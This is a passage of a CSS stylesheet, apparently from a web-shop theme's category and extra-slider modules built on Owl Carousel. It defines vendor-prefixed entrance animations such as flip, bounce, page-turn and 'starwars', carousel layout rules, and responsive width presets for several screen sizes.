@keyframes flipInX {

0% {

opacity:0;

transform:perspective(400px) rotateX(85deg)

}

40% {

transform:perspective(400px) rotateX(-20deg)

}

70% {

transform:perspective(400px) rotateX(15deg)

}

90% {

transform:perspective(400px) rotateX(-5deg)

}

100% {

opacity:1;

transform:perspective(400px) rotateX(0deg)

}

}

.sp-extraslider .extraslider-inner[data-effect="flipInY"] .owl-item {

	opacity:0;

	position:relative;

	-webkit-animation-play-state:paused;

	-webkit-backface-visibility:visible;

	-moz-animation-play-state:paused;

	-moz-backface-visibility:visible;

	-o-animation-play-state:paused;

	-o-backface-visibility:visible;

	animation-play-state:paused;

	backface-visibility:visible

}

.sp-extraslider .extraslider-inner[data-effect="flipInY"].extra-animate .owl-item {

	-webkit-animation-play-state:running;

	-moz-animation-play-state:running;

	-o-animation-play-state:running;

	animation-play-state:running

}

@-webkit-keyframes flipInY {

0% {

opacity:0;

-webkit-transform:perspective(400px) rotateY(80deg)

}

40% {

-webkit-transform:perspective(400px) rotateY(-20deg)

}

70% {

-webkit-transform:perspective(400px) rotateY(10deg)

}

90% {

-webkit-transform:perspective(400px) rotateY(-5deg)

}

100% {

opacity:1;

-webkit-transform:perspective(400px) rotateY(0deg)

}

}

@-moz-keyframes flipInY {

0% {

opacity:0;

-moz-transform:perspective(400px) rotateY(80deg)

}

40% {

-moz-transform:perspective(400px) rotateY(-20deg)

}

70% {

-moz-transform:perspective(400px) rotateY(10deg)

}

90% {

-moz-transform:perspective(400px) rotateY(-5deg)

}

100% {

opacity:1;

-moz-transform:perspective(400px) rotateY(0deg)

}

}

@-o-keyframes flipInY {

0% {

opacity:0;

-o-transform:perspective(400px) rotateY(80deg)

}

40% {

-o-transform:perspective(400px) rotateY(-20deg)

}

70% {

-o-transform:perspective(400px) rotateY(10deg)

}

90% {

-o-transform:perspective(400px) rotateY(-5deg)

}

100% {

opacity:1;

-o-transform:perspective(400px) rotateY(0deg)

}

}

@keyframes flipInY {

0% {

opacity:0;

-webkit-transform:perspective(400px) rotateY(80deg)

}

40% {

-webkit-transform:perspective(400px) rotateY(-20deg)

}

70% {

-webkit-transform:perspective(400px) rotateY(10deg)

}

90% {

-webkit-transform:perspective(400px) rotateY(-5deg)

}

100% {

opacity:1;

-webkit-transform:perspective(400px) rotateY(0deg)

}

}

.sp-extraslider .extraslider-inner[data-effect="bounceIn"] .owl-item {

	opacity:0;

	position:relative;

	-webkit-animation-play-state:paused;

	-moz-animation-play-state:paused;

	-o-animation-play-state:paused;

	animation-play-state:paused

}

.sp-extraslider .extraslider-inner[data-effect="bounceIn"].extra-animate .owl-item {

	-webkit-animation-play-state:running;

	-moz-animation-play-state:running;

	-o-animation-play-state:running;

	animation-play-state:running

}

@-webkit-keyframes bounceIn {

0% {

opacity:0;

-webkit-transform:scale(0.3)

}

50% {

-webkit-transform:scale(1.05)

}

70% {

-webkit-transform:scale(0.9)

}

100% {

opacity:1;

-webkit-transform:scale(1)

}

}

@-moz-keyframes bounceIn {

0% {

opacity:0;

-moz-transform:scale(0.3)

}

50% {

-moz-transform:scale(1.05)

}

70% {

-moz-transform:scale(0.9)

}

100% {

opacity:1;

-moz-transform:scale(1)

}

}

@-o-keyframes bounceIn {

0% {

opacity:0;

-o-transform:scale(0.3)

}

50% {

-o-transform:scale(1.05)

}

70% {

-o-transform:scale(0.9)

}

100% {

opacity:1;

-o-transform:scale(1)

}

}

@keyframes bounceIn {

0% {

opacity:0;

transform:scale(0.3)

}

50% {

transform:scale(1.05)

}

70% {

transform:scale(0.9)

}

100% {

opacity:1;

transform:scale(1)

}

}

.sp-extraslider .extraslider-inner[data-effect="bounceInUp"] .owl-item {

	opacity:0;

	position:relative;

	-webkit-animation-play-state:paused;

	-moz-animation-play-state:paused;

	-o-animation-play-state:paused;

	animation-play-state:paused

}

.sp-extraslider .extraslider-inner[data-effect="bounceInUp"].extra-animate .owl-item {

	-webkit-animation-play-state:running;

	-moz-animation-play-state:running;

	-o-animation-play-state:running;

	animation-play-state:running

}

@-webkit-keyframes bounceInUp {

0% {

opacity:0;

-webkit-transform:translateY(2000px)

}

60% {

-webkit-transform:translateY(-30px)

}

80% {

-webkit-transform:translateY(10px)

}

100% {

opacity:1;

-webkit-transform:translateY(0)

}

}

@-moz-keyframes bounceInUp {

0% {

opacity:0;

-moz-transform:translateY(2000px)

}

60% {

-moz-transform:translateY(-30px)

}

80% {

-moz-transform:translateY(10px)

}

100% {

opacity:1;

-moz-transform:translateY(0)

}

}

@-o-keyframes bounceInUp {

0% {

opacity:0;

-o-transform:translateY(2000px)

}

60% {

-o-transform:translateY(-30px)

}

80% {

-o-transform:translateY(10px)

}

100% {

opacity:1;

-o-transform:translateY(0)

}

}

@keyframes bounceInUp {

0% {

opacity:0;

transform:translateY(2000px)

}

60% {

transform:translateY(-30px)

}

80% {

transform:translateY(10px)

}

100% {

opacity:1;

transform:translateY(0)

}

}

.sp-extraslider .extraslider-inner[data-effect="bounceInDown"] .owl-item {

	opacity:0;

	position:relative;

	-webkit-animation-play-state:paused;

	-moz-animation-play-state:paused;

	-o-animation-play-state:paused;

	animation-play-state:paused

}

.sp-extraslider .extraslider-inner[data-effect="bounceInDown"].extra-animate .owl-item {

	-webkit-animation-play-state:running;

	-moz-animation-play-state:running;

	-o-animation-play-state:running;

	animation-play-state:running

}

@-webkit-keyframes bounceInDown {

0% {

opacity:0;

-webkit-transform:translateY(-2000px)

}

60% {

-webkit-transform:translateY(30px)

}

80% {

-webkit-transform:translateY(-10px)

}

100% {

opacity:1;

-webkit-transform:translateY(0)

}

}

@-moz-keyframes bounceInDown {

0% {

opacity:0;

-moz-transform:translateY(-2000px)

}

60% {

-moz-transform:translateY(30px)

}

80% {

-moz-transform:translateY(-10px)

}

100% {

opacity:1;

-moz-transform:translateY(0)

}

}

@-o-keyframes bounceInDown {

0% {

opacity:0;

-o-transform:translateY(-2000px)

}

60% {

-o-transform:translateY(30px)

}

80% {

-o-transform:translateY(-10px)

}

100% {

opacity:1;

-o-transform:translateY(0)

}

}

@keyframes bounceInDown {

0% {

opacity:0;

transform:translateY(-2000px)

}

60% {

transform:translateY(30px)

}

80% {

transform:translateY(-10px)

}

100% {

opacity:1;

transform:translateY(0)

}

}

.sp-extraslider .extraslider-inner[data-effect="pageTop"] .owl-item {

	opacity:0;

	position:relative;

	-webkit-animation-play-state:paused;

	-webkit-transform-origin:50% 0;

	-moz-animation-play-state:paused;

	-moz-transform-origin:50% 0;

	-o-animation-play-state:paused;

	-o-transform-origin:50% 0;

	animation-play-state:paused;

	transform-origin:50% 0

}

.sp-extraslider .extraslider-inner[data-effect="pageTop"].extra-animate .owl-item {

	-webkit-animation-play-state:running;

	-moz-animation-play-state:running;

	-o-animation-play-state:running;

	animation-play-state:running

}

@-webkit-keyframes pageTop {

0% {

opacity:0;

-webkit-transform:perspective(400px) rotateX(90deg)

}

100% {

opacity:1;

-webkit-transform:perspective(400px) rotateX(0deg)

}

}

@-moz-keyframes pageTop {

0% {

opacity:0;

-moz-transform:perspective(400px) rotateX(90deg)

}

100% {

opacity:1;

-moz-transform:perspective(400px) rotateX(0deg)

}

}

@-o-keyframes pageTop {

0% {

opacity:0;

-o-transform:perspective(400px) rotateX(90deg)

}

100% {

opacity:1;

-o-transform:perspective(400px) rotateX(0deg)

}

}

@keyframes pageTop {

0% {

opacity:0;

transform:perspective(400px) rotateX(90deg)

}

100% {

opacity:1;

transform:perspective(400px) rotateX(0deg)

}

}

.sp-extraslider .extraslider-inner[data-effect="pageBottom"] .owl-item {

	opacity:0;

	position:relative;

	-webkit-animation-play-state:paused;

	-webkit-transform-origin:50% 100%;

	-moz-animation-play-state:paused;

	-moz-transform-origin:50% 100%;

	-o-animation-play-state:paused;

	-o-transform-origin:50% 100%;

	animation-play-state:paused;

	transform-origin:50% 100%

}

.sp-extraslider .extraslider-inner[data-effect="pageBottom"].extra-animate .owl-item {

	-webkit-animation-play-state:running;

	-moz-animation-play-state:running;

	-o-animation-play-state:running;

	animation-play-state:running

}

@-webkit-keyframes pageBottom {

0% {

opacity:0;

-webkit-transform:perspective(400px) rotateX(-90deg)

}

100% {

opacity:1;

-webkit-transform:perspective(400px) rotateX(0deg)

}

}

@-moz-keyframes pageBottom {

0% {

opacity:0;

-moz-transform:perspective(400px) rotateX(-90deg)

}

100% {

opacity:1;

-moz-transform:perspective(400px) rotateX(0deg)

}

}

@-o-keyframes pageBottom {

0% {

opacity:0;

-o-transform:perspective(400px) rotateX(-90deg)

}

100% {

opacity:1;

-o-transform:perspective(400px) rotateX(0deg)

}

}

@keyframes pageBottom {

0% {

opacity:0;

transform:perspective(400px) rotateX(-90deg)

}

100% {

opacity:1;

transform:perspective(400px) rotateX(0deg)

}

}

.sp-extraslider .extraslider-inner[data-effect="starwars"] .owl-item {

	opacity:0;

	position:relative;

	-webkit-transform-origin:50% 50%;

	-webkit-animation-play-state:paused;

	-moz-transform-origin:50% 50%;

	-moz-animation-play-state:paused;

	-o-transform-origin:50% 50%;

	-o-animation-play-state:paused;

	transform-origin:50% 50%;

	animation-play-state:paused

}

.sp-extraslider .extraslider-inner[data-effect="starwars"].extra-animate .owl-item {

	-webkit-animation-play-state:running;

	-moz-animation-play-state:running;

	-o-animation-play-state:running;

	animation-play-state:running

}

@-webkit-keyframes starwars {

0% {

opacity:0;

-webkit-transform:perspective(200px) scale(3) translateY(180px) rotateX(80deg)

}

80% {

opacity:1;

-webkit-transform:perspective(200px) scale(1) rotateX(60deg)

}

100% {

opacity:1;

-webkit-transform:perspective(200px) scale(1) rotateX(0deg)

}

}

@-moz-keyframes starwars {

0% {

opacity:0;

-moz-transform:perspective(200px) scale(3) translateY(180px) rotateX(80deg)

}

80% {

opacity:1;

-moz-transform:perspective(200px) scale(1) rotateX(60deg)

}

100% {

opacity:1;

-moz-transform:perspective(200px) scale(1) rotateX(0deg)

}

}

@-o-keyframes starwars {

0% {

opacity:0;

-o-transform:perspective(200px) scale(3) translateY(180px) rotateX(80deg)

}

80% {

opacity:1;

-o-transform:perspective(200px) scale(1) rotateX(60deg)

}

100% {

opacity:1;

-o-transform:perspective(200px) scale(1) rotateX(0deg)

}

}

@keyframes starwars {

0% {

opacity:0;

transform:perspective(200px) scale(3) translateY(180px) rotateX(80deg)

}

80% {

opacity:1;

transform:perspective(200px) scale(1) rotateX(60deg)

}

100% {

opacity:1;

transform:perspective(200px) scale(1) rotateX(0deg)

}

}

.owl-carousel .animated {

	-webkit-animation-duration:1000ms;

	animation-duration:1000ms;

	-webkit-animation-fill-mode:both;

	animation-fill-mode:both

}

.owl-carousel .owl-animated-in {

	z-index:0

}

.owl-carousel .owl-animated-out {

	z-index:1

}

.owl-carousel .fadeOut {

	-webkit-animation-name:fadeOut;

	animation-name:fadeOut

}

@-webkit-keyframes fadeOut {

0% {

opacity:1

}

100% {

opacity:0

}

}

@keyframes fadeOut {

0% {

opacity:1

}

100% {

opacity:0

}

}

.owl-height {

	-webkit-transition:height 500ms ease-in-out;

	-moz-transition:height 500ms ease-in-out;

	-ms-transition:height 500ms ease-in-out;

	-o-transition:height 500ms ease-in-out;

	transition:height 500ms ease-in-out

}

.owl-carousel {

	width:100%;

	-webkit-tap-highlight-color:transparent;

	position:relative;

	z-index:1

}

.owl-carousel .owl-stage {

	position:relative;

	-ms-touch-action:pan-Y

}

.owl-carousel .owl-stage:after {

	content:".";

	display:block;

	clear:both;

	visibility:hidden;

	line-height:0;

	height:0

}

.owl-carousel .owl-stage-outer {

	position:relative;

	overflow:hidden;

	-webkit-transform:translate3d(0px, 0px, 0px)

}

.owl-carousel .owl-controls .owl-nav .owl-prev, .owl-carousel .owl-controls .owl-nav .owl-next, .owl-carousel .owl-controls .owl-dot {

	cursor:pointer;

	cursor:hand;

	-webkit-user-select:none;

	-khtml-user-select:none;

	-moz-user-select:none;

	-ms-user-select:none;

	user-select:none

}

.owl-carousel.owl-loaded {

	display:block

}

.owl-carousel.owl-loading {

	opacity:0;

	display:block

}

.owl-carousel.owl-hidden {

	opacity:0

}

.owl-carousel .owl-refresh .owl-item {

}

.owl-carousel .owl-item {

	position:relative;

	min-height:1px;

	float:left;

	-webkit-backface-visibility:hidden;

	-webkit-tap-highlight-color:transparent;

	-webkit-touch-callout:none;

	-webkit-user-select:none;

	-moz-user-select:none;

	-ms-user-select:none;

	user-select:none

}

.owl-carousel .owl-item img {

	-webkit-transform-style:preserve-3d

}

.owl-carousel.owl-text-select-on .owl-item {

	-webkit-user-select:auto;

	-moz-user-select:auto;

	-ms-user-select:auto;

	user-select:auto

}

.owl-carousel .owl-grab {

	cursor:move;

	cursor:-webkit-grab;

	cursor:-o-grab;

	cursor:-ms-grab;

	cursor:grab

}

.owl-carousel.owl-rtl {

	direction:rtl

}

.owl-carousel.owl-rtl .owl-item {

	float:right

}

.no-js .owl-carousel {

	display:block

}

.owl-carousel .owl-item .owl-lazy {

	opacity:0;

	-webkit-transition:opacity 400ms ease;

	-moz-transition:opacity 400ms ease;

	-ms-transition:opacity 400ms ease;

	-o-transition:opacity 400ms ease;

	transition:opacity 400ms ease

}

.owl-carousel .owl-item img {

	transform-style:preserve-3d

}

.owl-carousel .owl-video-wrapper {

	position:relative;

	height:100%;

	background:#000

}

.owl-carousel .owl-video-play-icon {

	position:absolute;

	height:80px;

	width:80px;

	left:50%;

	top:50%;

	margin-left:-40px;

	margin-top:-40px;

	background:url("../images/owl.video.play.png") no-repeat;

	cursor:pointer;

	z-index:1;

	-webkit-backface-visibility:hidden;

	-webkit-transition:scale 100ms ease;

	-moz-transition:scale 100ms ease;

	-ms-transition:scale 100ms ease;

	-o-transition:scale 100ms ease;

	transition:scale 100ms ease

}

.owl-carousel .owl-video-play-icon:hover {

	-webkit-transition:scale(1.3, 1.3);

	-moz-transition:scale(1.3, 1.3);

	-ms-transition:scale(1.3, 1.3);

	-o-transition:scale(1.3, 1.3);

	transition:scale(1.3, 1.3)

}

.owl-carousel .owl-video-playing .owl-video-tn, .owl-carousel .owl-video-playing .owl-video-play-icon {

}

.owl-carousel .owl-video-tn {

	opacity:0;

	height:100%;

	background-position:center center;

	background-repeat:no-repeat;

	-webkit-background-size:contain;

	-moz-background-size:contain;

	-o-background-size:contain;

	background-size:contain;

	-webkit-transition:opacity 400ms ease;

	-moz-transition:opacity 400ms ease;

	-ms-transition:opacity 400ms ease;

	-o-transition:opacity 400ms ease;

	transition:opacity 400ms ease

}

.owl-carousel .owl-video-frame {

	position:relative;

	z-index:1

}

.post-text, .pre-text {

	margin:10px 20px 10px 20px

}

.sp-category-slider .slider .item-wrap a.sale-box {

	right:-4px;

	z-index:2;

	position:absolute

}

@media all and (max-width:320px) {

.sp-category-slider .quick-view-wrapper-mobile {

display:block

}

.sp-category-slider .preset05-1 .vpo-wrap {

width:100%;

margin:0

}

.sp-category-slider .preset05-1 .vpo-wrap .vp {

margin-right:0

}

.sp-category-slider .preset05-1 .vpo-wrap .vp .item {

float:left;

margin:0;

width:100%

}

.sp-category-slider .preset05-2 .vpo-wrap {

width:50%;

margin:0 -50% 0 0

}

.sp-category-slider .preset05-2 .vpo-wrap .vp {

margin-right:-100%

}

.sp-category-slider .preset05-2 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:48%

}

.sp-category-slider .preset05-3 .vpo-wrap {

width:33.3333%;

margin:0 -66.6666% 0 0

}

.sp-category-slider .preset05-3 .vpo-wrap .vp {

margin-right:-200%

}

.sp-category-slider .preset05-3 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:31.3333%

}

.sp-category-slider .preset05-4 .vpo-wrap {

width:25%;

margin:0 -75% 0 0

}

.sp-category-slider .preset05-4 .vpo-wrap .vp {

margin-right:-300%

}

.sp-category-slider .preset05-4 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:23%

}

.sp-category-slider .preset05-5 .vpo-wrap {

width:20%;

margin:0 -80% 0 0

}

.sp-category-slider .preset05-5 .vpo-wrap .vp {

margin-right:-400%

}

.sp-category-slider .preset05-5 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:18%

}

.sp-category-slider .preset05-6 .vpo-wrap {

width:16.6666%;

margin:0 -83.3333% 0 0

}

.sp-category-slider .preset05-6 .vpo-wrap .vp {

margin-right:-500%

}

.sp-category-slider .preset05-6 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:14.6666%

}

.sp-category-slider .show .slider:before {

display:none

}

.sp-category-slider .show-image .slider:before {

display:none

}

.sp-category-slider .show.preset05-1 .item-cat-image {

width:100%

}

.sp-category-slider .show.preset05-2 .item-cat-image {

width:100%

}

.sp-category-slider .show.preset05-3 .item-cat-image {

width:100%

}

.sp-category-slider .show.preset05-4 .item-cat-image {

width:100%

}

.sp-category-slider .show.preset05-5 .item-cat-image {

width:100%

}

.sp-category-slider .show.preset05-6 .item-cat-image {

width:100%

}

.sp-category-slider .show.preset05-1 .item-sub-cat {

width:100%

}

.sp-category-slider .show.preset05-2 .item-sub-cat {

width:100%

}

.sp-category-slider .show.preset05-3 .item-sub-cat {

width:100%

}

.sp-category-slider .show.preset05-4 .item-sub-cat {

width:100%

}

.sp-category-slider .show.preset05-5 .item-sub-cat {

width:100%

}

.sp-category-slider .show.preset05-6 .item-sub-cat {

width:100%

}

.sp-category-slider .show.preset05-1 .slider {

width:100%

}

.sp-category-slider .show.preset05-2 .slider {

width:100%

}

.sp-category-slider .show.preset05-3 .slider {

width:100%

}

.sp-category-slider .show.preset05-4 .slider {

width:100%

}

.sp-category-slider .show.preset05-5 .slider {

width:100%

}

.sp-category-slider .show.preset05-6 .slider {

width:100%

}

.sp-category-slider .show-image.preset05-1 .item-cat-image {

width:100%

}

.sp-category-slider .show-image.preset05-2 .item-cat-image {

width:33%

}

.sp-category-slider .show-image.preset05-3 .item-cat-image {

width:25%

}

.sp-category-slider .show-image.preset05-4 .item-cat-image {

width:20%

}

.sp-category-slider .show-image.preset05-5 .item-cat-image {

width:16.6%

}

.sp-category-slider .show-image.preset05-6 .item-cat-image {

width:14%

}

.sp-category-slider .show-image.preset05-1 .slider {

width:100%

}

.sp-category-slider .show-image.preset05-2 .slider {

width:66%

}

.sp-category-slider .show-image.preset05-3 .slider {

width:75%

}

.sp-category-slider .show-image.preset05-4 .slider {

width:80%

}

.sp-category-slider .show-image.preset05-5 .slider {

width:83%

}

.sp-category-slider .show-image.preset05-6 .slider {

width:85%

}

.sp-category-slider .show-sub.preset05-1 .slider:before {

display:none

}

.sp-category-slider .show-sub.preset05-1 .item-sub-cat {

width:100%

}

.sp-category-slider .show-sub.preset05-2 .item-sub-cat {

width:33%

}

.sp-category-slider .show-sub.preset05-3 .item-sub-cat {

width:25%

}

.sp-category-slider .show-sub.preset05-4 .item-sub-cat {

width:20%

}

.sp-category-slider .show-sub.preset05-5 .item-sub-cat {

width:16.6%

}

.sp-category-slider .show-sub.preset05-6 .item-sub-cat {

width:14%

}

.sp-category-slider .show-sub.preset05-1 .slider {

width:100%

}

.sp-category-slider .show-sub.preset05-2 .slider {

width:66%

}

.sp-category-slider .show-sub.preset05-3 .slider {

width:75%

}

.sp-category-slider .show-sub.preset05-4 .slider {

width:80%

}

.sp-category-slider .show-sub.preset05-5 .slider {

width:83%

}

.sp-category-slider .show-sub.preset05-6 .slider {

width:85%

}

}

@media all and (min-width:321px) and (max-width:479px) {

.sp-category-slider .quick-view-wrapper-mobile {

display:block

}

.sp-category-slider .slider:before {

display:none

}

.sp-category-slider .preset04-1 .vpo-wrap {

width:100%;

margin:0

}

.sp-category-slider .preset04-1 .vpo-wrap .vp {

margin-right:0

}

.sp-category-slider .preset04-1 .vpo-wrap .vp .item {

float:left;

margin:0;

width:100%

}

.sp-category-slider .preset04-2 .vpo-wrap {

width:50%;

margin:0 -50% 0 0

}

.sp-category-slider .preset04-2 .vpo-wrap .vp {

margin-right:-100%

}

.sp-category-slider .preset04-2 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:48%

}

.sp-category-slider .preset04-3 .vpo-wrap {

width:33.3333%;

margin:0 -66.6666% 0 0

}

.sp-category-slider .preset04-3 .vpo-wrap .vp {

margin-right:-200%

}

.sp-category-slider .preset04-3 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:31.3333%

}

.sp-category-slider .preset04-4 .vpo-wrap {

width:25%;

margin:0 -75% 0 0

}

.sp-category-slider .preset04-4 .vpo-wrap .vp {

margin-right:-300%

}

.sp-category-slider .preset04-4 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:23%

}

.sp-category-slider .preset04-5 .vpo-wrap {

width:20%;

margin:0 -80% 0 0

}

.sp-category-slider .preset04-5 .vpo-wrap .vp {

margin-right:-400%

}

.sp-category-slider .preset04-5 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:18%

}

.sp-category-slider .preset04-6 .vpo-wrap {

width:16.6666%;

margin:0 -83.3333% 0 0

}

.sp-category-slider .preset04-6 .vpo-wrap .vp {

margin-right:-500%

}

.sp-category-slider .preset04-6 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:14.6666%

}

.sp-category-slider .show.preset05-1 .item-cat-image {

width:100%

}

.sp-category-slider .show.preset05-2 .item-cat-image {

width:100%

}

.sp-category-slider .show.preset05-3 .item-cat-image {

width:100%

}

.sp-category-slider .show.preset05-4 .item-cat-image {

width:100%

}

.sp-category-slider .show.preset05-5 .item-cat-image {

width:100%

}

.sp-category-slider .show.preset05-6 .item-cat-image {

width:100%

}

.sp-category-slider .show.preset05-1 .item-sub-cat {

width:100%

}

.sp-category-slider .show.preset05-2 .item-sub-cat {

width:100%

}

.sp-category-slider .show.preset05-3 .item-sub-cat {

width:100%

}

.sp-category-slider .show.preset05-4 .item-sub-cat {

width:100%

}

.sp-category-slider .show.preset05-5 .item-sub-cat {

width:100%

}

.sp-category-slider .show.preset05-6 .item-sub-cat {

width:100%

}

.sp-category-slider .show.preset05-1 .slider {

width:100%

}

.sp-category-slider .show.preset05-2 .slider {

width:100%

}

.sp-category-slider .show.preset05-3 .slider {

width:100%

}

.sp-category-slider .show.preset05-4 .slider {

width:100%

}

.sp-category-slider .show.preset05-5 .slider {

width:100%

}

.sp-category-slider .show.preset05-6 .slider {

width:100%

}

.sp-category-slider .show-image.preset04-1 .item-cat-image {

width:100%

}

.sp-category-slider .show-image.preset04-2 .item-cat-image {

width:33%

}

.sp-category-slider .show-image.preset04-3 .item-cat-image {

width:25%

}

.sp-category-slider .show-image.preset04-4 .item-cat-image {

width:20%

}

.sp-category-slider .show-image.preset04-5 .item-cat-image {

width:16.6%

}

.sp-category-slider .show-image.preset04-6 .item-cat-image {

width:14%

}

.sp-category-slider .show-image.preset04-1 .slider {

width:100%

}

.sp-category-slider .show-image.preset04-2 .slider {

width:66%

}

.sp-category-slider .show-image.preset04-3 .slider {

width:75%

}

.sp-category-slider .show-image.preset04-4 .slider {

width:80%

}

.sp-category-slider .show-image.preset04-5 .slider {

width:83%

}

.sp-category-slider .show-image.preset04-6 .slider {

width:85%

}

.sp-category-slider .show .slider:before {

display:none

}

.sp-category-slider .show-image .slider:before {

display:none

}

.sp-category-slider .show-sub.preset04-1 .slider:before {

display:none

}

.sp-category-slider .show-sub.preset04-1 .item-sub-cat {

width:100%

}

.sp-category-slider .show-sub.preset04-2 .item-sub-cat {

width:33%

}

.sp-category-slider .show-sub.preset04-3 .item-sub-cat {

width:25%

}

.sp-category-slider .show-sub.preset04-4 .item-sub-cat {

width:20%

}

.sp-category-slider .show-sub.preset04-5 .item-sub-cat {

width:16.6%

}

.sp-category-slider .show-sub.preset04-6 .item-sub-cat {

width:14%

}

.sp-category-slider .show-sub.preset04-1 .slider {

width:100%

}

.sp-category-slider .show-sub.preset04-2 .slider {

width:66%

}

.sp-category-slider .show-sub.preset04-3 .slider {

width:75%

}

.sp-category-slider .show-sub.preset04-4 .slider {

width:80%

}

.sp-category-slider .show-sub.preset04-5 .slider {

width:83%

}

.sp-category-slider .show-sub.preset04-6 .slider {

width:85%

}

}

@media all and (min-width:480px) and (max-width:768px) {

.sp-category-slider .quick-view-wrapper-mobile {

display:block

}

.sp-category-slider .preset03-1 .vpo-wrap {

width:100%;

margin:0

}

.sp-category-slider .preset03-1 .vpo-wrap .vp {

margin-right:0

}

.sp-category-slider .preset03-1 .vpo-wrap .vp .item {

float:left;

margin:0;

width:100%

}

.sp-category-slider .preset03-2 .vpo-wrap {

width:50%;

margin:0 -50% 0 0

}

.sp-category-slider .preset03-2 .vpo-wrap .vp {

margin-right:-100%

}

.sp-category-slider .preset03-2 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:48%

}

.sp-category-slider .preset03-3 .vpo-wrap {

width:33.3333%;

margin:0 -66.6666% 0 0

}

.sp-category-slider .preset03-3 .vpo-wrap .vp {

margin-right:-200%

}

.sp-category-slider .preset03-3 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:31.3333%

}

.sp-category-slider .preset03-4 .vpo-wrap {

width:25%;

margin:0 -75% 0 0

}

.sp-category-slider .preset03-4 .vpo-wrap .vp {

margin-right:-300%

}

.sp-category-slider .preset03-4 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:23%

}

.sp-category-slider .preset03-5 .vpo-wrap {

width:20%;

margin:0 -80% 0 0

}

.sp-category-slider .preset03-5 .vpo-wrap .vp {

margin-right:-400%

}

.sp-category-slider .preset03-5 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:18%

}

.sp-category-slider .preset03-6 .vpo-wrap {

width:16.6666%;

margin:0 -83.3333% 0 0

}

.sp-category-slider .preset03-6 .vpo-wrap .vp {

margin-right:-500%

}

.sp-category-slider .preset03-6 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:14.6666%

}

.sp-category-slider .show.preset03-1 .item-cat-image {

width:33.3%

}

.sp-category-slider .show.preset03-2 .item-cat-image {

width:25%

}

.sp-category-slider .show.preset03-3 .item-cat-image {

width:20%

}

.sp-category-slider .show.preset03-4 .item-cat-image {

width:16.7%

}

.sp-category-slider .show.preset03-5 .item-cat-image {

width:14.3%

}

.sp-category-slider .show.preset03-6 .item-cat-image {

width:12.5%

}

.sp-category-slider .show.preset03-1 .item-sub-cat {

width:33.3%

}

.sp-category-slider .show.preset03-2 .item-sub-cat {

width:25%

}

.sp-category-slider .show.preset03-3 .item-sub-cat {

width:20%

}

.sp-category-slider .show.preset03-4 .item-sub-cat {

width:16.7%

}

.sp-category-slider .show.preset03-5 .item-sub-cat {

width:14.3%

}

.sp-category-slider .show.preset03-6 .item-sub-cat {

width:12.5%

}

.sp-category-slider .show.preset03-1 .slider {

width:33.3%

}

.sp-category-slider .show.preset03-2 .slider {

width:50%

}

.sp-category-slider .show.preset03-3 .slider {

width:60%

}

.sp-category-slider .show.preset03-4 .slider {

width:66%

}

.sp-category-slider .show.preset03-5 .slider {

width:71.4%

}

.sp-category-slider .show.preset03-6 .slider {

width:75%

}

.sp-category-slider .show-image.preset03-1 .item-cat-image {

width:100%

}

.sp-category-slider .show-image.preset03-2 .item-cat-image {

width:33%

}

.sp-category-slider .show-image.preset03-3 .item-cat-image {

width:25%

}

.sp-category-slider .show-image.preset03-4 .item-cat-image {

width:20%

}

.sp-category-slider .show-image.preset03-5 .item-cat-image {

width:16.6%

}

.sp-category-slider .show-image.preset03-6 .item-cat-image {

width:14%

}

.sp-category-slider .show-image.preset03-1 .slider {

width:100%

}

.sp-category-slider .show-image.preset03-2 .slider {

width:66%

}

.sp-category-slider .show-image.preset03-3 .slider {

width:75%

}

.sp-category-slider .show-image.preset03-4 .slider {

width:80%

}

.sp-category-slider .show-image.preset03-5 .slider {

width:83%

}

.sp-category-slider .show-image.preset03-6 .slider {

width:85%

}

.sp-category-slider .show-image .slider:before {

display:none

}

.sp-category-slider .show-sub.preset03-1 .item-sub-cat {

width:100%

}

.sp-category-slider .show-sub.preset03-2 .item-sub-cat {

width:33%

}

.sp-category-slider .show-sub.preset03-3 .item-sub-cat {

width:25%

}

.sp-category-slider .show-sub.preset03-4 .item-sub-cat {

width:20%

}

.sp-category-slider .show-sub.preset03-5 .item-sub-cat {

width:16.6%

}

.sp-category-slider .show-sub.preset03-6 .item-sub-cat {

width:14%

}

.sp-category-slider .show-sub.preset03-1 .slider {

width:100%

}

.sp-category-slider .show-sub.preset03-2 .slider {

width:66%

}

.sp-category-slider .show-sub.preset03-3 .slider {

width:75%

}

.sp-category-slider .show-sub.preset03-4 .slider {

width:80%

}

.sp-category-slider .show-sub.preset03-5 .slider {

width:83%

}

.sp-category-slider .show-sub.preset03-6 .slider {

width:85%

}

}

@media all and (min-width:769px) and (max-width:1200px) {

.sp-category-slider .quick-view-wrapper-mobile {

display:none !important

}

.sp-category-slider .preset02-1 .vpo-wrap {

width:100%;

margin:0

}

.sp-category-slider .preset02-1 .vpo-wrap .vp {

margin-right:0

}

.sp-category-slider .preset02-1 .vpo-wrap .vp .item {

float:left;

margin:0;

width:100%

}

.sp-category-slider .preset02-2 .vpo-wrap {

width:50%;

margin:0 -50% 0 0

}

.sp-category-slider .preset02-2 .vpo-wrap .vp {

margin-right:-100%

}

.sp-category-slider .preset02-2 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:48%

}

.sp-category-slider .preset02-3 .vpo-wrap {

width:33.3333%;

margin:0 -66.6666% 0 0

}

.sp-category-slider .preset02-3 .vpo-wrap .vp {

margin-right:-200%

}

.sp-category-slider .preset02-3 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:31.3333%

}

.sp-category-slider .preset02-4 .vpo-wrap {

width:25%;

margin:0 -75% 0 0

}

.sp-category-slider .preset02-4 .vpo-wrap .vp {

margin-right:-300%

}

.sp-category-slider .preset02-4 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:23%

}

